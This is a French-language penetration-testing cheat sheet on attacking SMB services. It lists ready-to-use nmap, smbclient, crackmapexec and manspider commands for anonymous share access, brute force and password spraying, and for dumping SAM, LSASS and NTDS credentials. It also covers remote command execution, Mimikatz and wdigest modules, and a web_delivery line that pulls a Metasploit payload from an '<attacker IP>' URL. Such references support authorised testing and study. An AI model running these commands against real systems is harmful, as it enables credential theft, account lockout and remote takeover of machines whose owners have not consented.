# SMB - ports 445-139

## Scan version

Exemple:

*`$ nmap -sS -sV -p445-139 --script smb-enum-users,smb-os-discovery <target IP>`*

## Scan de vulnérabilité

Il existe des scripts nmap permettant de scanner la présence de vulnérabilités connues dans un service SMB.

Exemple:

*`$ nmap -p139-445 --script=smb-vuln* <target IP>`*

## Lister les fichiers partagés

Connexion anonyme:

*`$ smbclient --no-pass -L //<target IP>`*

Avec identifiants:

*`$ smbclient -U '<username>[%<password>]' -L //<target IP>`*

### Avec crackmapexec

Connexion anonyme:

*`$ crackmapexec smb <target IP> -u '' -p '' --shares`*

Avec des identifiants:

*`$ crackmapexec smb <target IP> -u '<username>' -p '<password>' --shares`*

Avec un hash de mot de passe:

*`$ crackmapexec smb <target IP> -u '<username>' -H '<hash>' --shares`*

## Se connecter

### Sur une cible sous Linux

Pour se connecter à un service SMB on peut utiliser smbclient comme ceci.

Exemples:

*`$ smbclient --no-pass //<target IP>/<Fichier>  #anonyme`*

*`$ smbclient -U '<username>[%<passwd>]' -L //<target IP>/<Fichier>`*

### Sur une cible sous Windows

Exemples:

*`$ smbclient -U '%' -N \\\\<target IP>\\<Fichier> #anonyme`*

*`$ smbclient -U '<username>' \\\\<target IP>\\<Fichier>`*

## Brute force

Il existe également un script nmap permettant de brute force la connexion à un service SMB.

Utilisation:

*`$ nmap --script smb-brute -p445 <target IP>`*

{% hint style="danger" %}
**Attention: Tenter de brute force un service SMB peut entraîner le blocage des comptes**
{% endhint %}

## Monter un fichier partagé

Pour monter un fichier partagé on utilise la commande mount.

Exemples d'utilisation:

*`$ mount -t cifs //<target IP>/<Fichier> /mnt/partage`*

*`$ mount -t cifs -o "username=<username>,password=<password>" //<target IP>/<Fichier> /mnt/partage`*

## Télécharger un fichier partagé

Il est possible de télécharger un fichier partagé avec smbmap comme ceci par exemple.

*`$ smbmap -R <Dossier> -H <target IP> -A <Fichier> -q`*

## Crackmapexec

### Mindmap

<figure><img src="https://3571537825-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOIXudYEdnnE8JjXBrL0o%2Fuploads%2FJi7ZXTc54oBWTzOjcPzq%2FCrackmapexec%20HD.png?alt=media&#x26;token=11dd63d4-ced0-4d79-8e24-0f8386be966f" alt=""><figcaption></figcaption></figure>

Quelques commandes intéressantes proposées par crackmapexec:

Enumération et dump:&#x20;

```bash
# Basiques
crackmapexec smb <IP>/24
crackmapexec smb <target IP> -u '<username>' -p '<password>'
crackmapexec smb <target IP> -u '<username>' -p '<password>' --shares
# Enumeration des fichiers textes
crackmapexec smb <target IP> -u '<username>' -p '<password>' --spider C\$ --pattern txt
# Enumeration des fichiers de logs
crackmapexec smb <target IP> -u '<username>' -p '<password>' --spider C\$ --pattern log
# Dump SAM
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --sam
# Dump LSASS
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --lsa
# Dump NTDS (SRDUAPI)
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --ntds drsuapi
# Dump NTDS (VSS)
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --ntds vss
# Dump sessions
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --sessions
# Dump des utilisateurs connectés
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --loggedon-users
# Enumeration des disques
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --disks
# Enumeration des utilisateurs
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --users
# Enumeration des groupes
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --groups
# Dump de la politique de mots de passes
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --pass-pol

```

Bruteforce:

```bash
# Bruteforce d'un utilisateur spécifique dans une plage IP
crackmapexec smb <IP>/24 -u '<user to find>' '<username>' -p '<password>'
# Attaque par dictionnaire
crackmapexec smb <IP>/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txt
# Password Spraying
crackmapexec smb <target IP> -u /root/Desktop/user.txt -p '<password>' --rid-brute
crackmapexec smb <target IP> -u /root/Desktop/user.txt -p '<password>' --continue-on-success
```

Exécution de commande à distance

```bash
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>'
# Avec planificateur de tâche
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --exec-method atexec
# Avec le service WMI
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --exec-method wmiexec
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --wmi "WMI command"
```

Modules:

```bash
# Voir les modules enregistrés
crackmapexec smb -L

# Module Mimikatz
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M mimikatz
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M mimikatz -o COMMAND='<command>'

# Module Wdigest (créer une clé de registre grâce à laquelle les mots de passe sont stockés en mémoire)
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M wdigest -o ACTION='<command>'

# Module enum_dns
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M enum_dns

# Module web_delivery à utiliser avec un handler sur metasploit
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M web_sdelivery -o URL=http://<attacker IP>:<port>/rlNdPdZQMeYWLF
```

ressource: <https://github.com/byt3bl33d3r/CrackMapExec>

## Manspider

Recherche dans les partages SMB des mots clés basés et pattern basés sur des regex.

Exemple d'utilisation:

*`$ manspider <target IP>/24 -f passw user login cred -u <user> -p <password>`*

ressource: <https://github.com/blacklanternsecurity/MANSPIDER>

## Ressources

<https://www.offensive-security.com/metasploit-unleashed/scanner-smb-auxiliary-modules/>
